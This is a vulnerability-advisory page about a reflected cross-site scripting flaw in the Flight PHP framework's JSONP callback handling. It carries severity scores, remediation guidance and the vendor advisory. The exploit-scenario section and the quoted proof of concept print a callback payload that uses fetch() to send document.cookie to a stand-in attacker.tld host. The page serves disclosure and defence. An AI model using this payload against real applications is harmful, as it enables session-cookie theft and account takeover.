Skip to main content

Flight PHP CVE-2026-42548

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-06 https://github.com/flightphp/core GHSA-fcx8-ph5r-mxr4
8.6
CVSS 4.0 · Vendor: https://github.com/flightphp/core
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker identifies JSONP endpoint
  2. Delivery
    Crafts malicious callback parameter
  3. Exploit
    Embeds vulnerable URL in attacker-controlled page
  4. Install
    Victim visits attacker page
  5. C2
    Browser loads JSONP endpoint as script
  6. Execute
    Injected JavaScript executes in victim origin
  7. Impact
    Attacker exfiltrates cookies/session tokens

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target Flight PHP application to implement JSONP endpoints using the Flight::jsonp() method, which is not enabled by default but must be explicitly coded by developers choosing to support legacy cross-domain requests. The attack succeeds when a victim with an active session on the target application visits an attacker-controlled web page that embeds the vulnerable JSONP endpoint via a script tag. The vulnerability is not exploitable through direct URL navigation but requires the attacker to host or inject malicious HTML content that references the vulnerable endpoint as a JavaScript resource. Limiting factors include modern browser XSS Auditor protections (though these are deprecated in most browsers), Content Security Policy restrictions that block inline script evaluation or limit script-src origins, and the requirement that the application actually use JSONP rather than modern CORS-based APIs. Applications that have disabled or never implemented JSONP functionality are not vulnerable even if running vulnerable Flight PHP versions.

Impact

Real-world risk is moderate despite the absence of CVSS scoring. The attack requires victim interaction (loading a malicious page that embeds the vulnerable JSONP endpoint via script tag), indicating medium attack complexity. However, exploitation is straightforward with a publicly available proof-of-concept demonstrating cookie theft via fetch() to an attacker-controlled domain. The vulnerability only affects applications that explicitly use Flight's Flight::jsonp() method, not all Flight PHP deployments, which significantly limits the attack surface. The impact is high for affected applications since successful exploitation enables full cookie theft, session hijacking, and exfiltration of authenticated API responses within the same-origin context. No EPSS or KEV data is available, suggesting this is not yet observed in widespread exploitation campaigns. The primary risk factor is that JSONP endpoints are often exposed on authenticated applications to support legacy cross-domain integrations, making them attractive targets for credential harvesting. Organizations should prioritize this based on whether they actively use JSONP endpoints rather than raw CVSS severity alone.

Exploit ScenarioDerived

An attacker identifies a Flight PHP application exposing a JSONP endpoint at https://victim-app.com/api/user-data that calls Flight::jsonp(). The attacker crafts a malicious URL with an injected callback parameter: https://victim-app.com/api/user-data?jsonp=;fetch('https://attacker.tld/steal?c='+document.cookie);//. They then embed this URL on an attacker-controlled page via <script src="https://victim-app.com/api/user-data?jsonp=..."></script>. When a logged-in victim visits the attacker's page, the browser loads the JSONP endpoint as JavaScript, executing the injected fetch() call that exfiltrates session cookies to the attacker's server, enabling full account takeover.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 06, 2026

Reflected cross-site scripting in Flight PHP framework's JSONP endpoint implementation allows remote attackers to execute arbitrary JavaScript in victim browsers by injecting malicious code through unvalidated callback parameters. Flight PHP versions prior to 3.18.1 concatenate user-supplied jsonp query parameters directly into JavaScript responses without identifier validation, enabling cookie theft and session hijacking when vulnerable endpoints are embedded via script tags. The vulnerability was patched in version 3.18.1 (commit b8dd23a) with regex validation limiting callbacks to legal JavaScript identifiers. A working proof-of-concept demonstrates cookie exfiltration via crafted callback parameters.

RemediationAI

Upgrade to Flight PHP version 3.18.1 or later, which implements callback name validation using the regex pattern ^[A-Za-z_$][\w$.]{0,127}$ to ensure only legal JavaScript identifiers are accepted. The patch is available via composer update or directly from the GitHub repository at commit b8dd23a (https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4). If immediate upgrade is not feasible, implement a temporary workaround by wrapping all Flight::jsonp() calls with custom validation logic that rejects callback parameters containing characters outside the set [A-Za-z0-9_$.] or exceeding 128 characters, though this adds maintenance overhead and may not match the vendor's exact validation logic. Alternatively, disable JSONP endpoints entirely if they are not actively used by legacy clients, replacing them with modern CORS-enabled JSON endpoints that eliminate the injection vector entirely; note that this requires client-side code changes to handle standard JSON responses instead of script-tag loading. For defense in depth, set HttpOnly and SameSite=Strict flags on session cookies to limit the impact of successful XSS exploitation, though this does not prevent exfiltration of authenticated API data or DOM-based attacks.

Affected Packages

composer flightphp/core fix: 3.18.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the Flight PHP micro-framework's JSONP (JSON with Padding) implementation, specifically in the _jsonp() method within flight/Engine.php. JSONP is a legacy cross-domain communication technique that wraps JSON responses in a JavaScript function callback, served with application/javascript content type to bypass same-origin policy. The flaw is a classic example of CWE-79 (Improper Neutralization of Input During Web Page Generation) where the framework extracts the callback name from the jsonp query parameter via $this->request()->query[$param] and directly concatenates it into the response body as $callback . '(' . $json . ');' without any validation that the value is a legal JavaScript identifier. This string concatenation approach creates an injection point where semicolons, function definitions, and comment delimiters can be used to break out of the intended callback structure and inject arbitrary JavaScript code that executes when the response is loaded as a script resource.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/flightphp/core) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/flightphp/core) · only source for this CVE.

CVSS VectorVendor: https://github.com/flightphp/core

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 13, 2026 - 20:22 NVD
8.6 (HIGH)
CVE Published
May 06, 2026 - 21:34 nvd
HIGH

DescriptionCVE.org

Summary

Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

Affected code

flight/Engine.php (≈ lines 1000-1013):

php
$callback = $this->request()->query[$param];
$this->response()
    ->status($code)
    ->header('Content-Type', 'application/javascript; charset=' . $charset)
    ->write($callback . '(' . $json . ');');

No regex or identifier validation is performed before the callback is written.

Proof of concept

Given any route that calls Flight::jsonp($data):

GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//

Reproduced response (Content-Type: application/javascript):

;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});

When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context - cookie theft and session hijack follow.

Impact

  • Reflected XSS in any application calling Flight::jsonp().
  • Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
  • Exfiltration of authenticated API responses.

Patch (fixed in 3.18.1, commit b8dd23a)

_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.

Credit

Discovered by @Rootingg.

Executive ViewAI

Why It Matters

Flight PHP framework versions prior to 3.18.1 contain a reflected cross-site scripting vulnerability in JSONP endpoints that allows attackers to execute arbitrary JavaScript and steal user session cookies without authentication. Organizations using Flight PHP should immediately inventory affected versions, as this vulnerability directly enables account takeover and session hijacking through malicious links sent to users.

Business Impact: High
Compensating Controls

If immediate upgrade to Flight PHP 3.18.1 is not possible: (1) Disable or restrict access to JSONP endpoints if business functionality permits; (2) Implement web application firewall rules rejecting callback parameters containing special characters outside [a-zA-Z0-9_$] ranges; (3) Set HttpOnly and Secure flags on session cookies to prevent JavaScript access; (4) Deploy Content Security Policy headers prohibiting inline script execution; (5) Monitor for callback parameters matching the POC pattern in access logs. Apply vendor patch to Flight PHP 3.18.1 at earliest opportunity.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

pkg:composer/flightphp_core

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy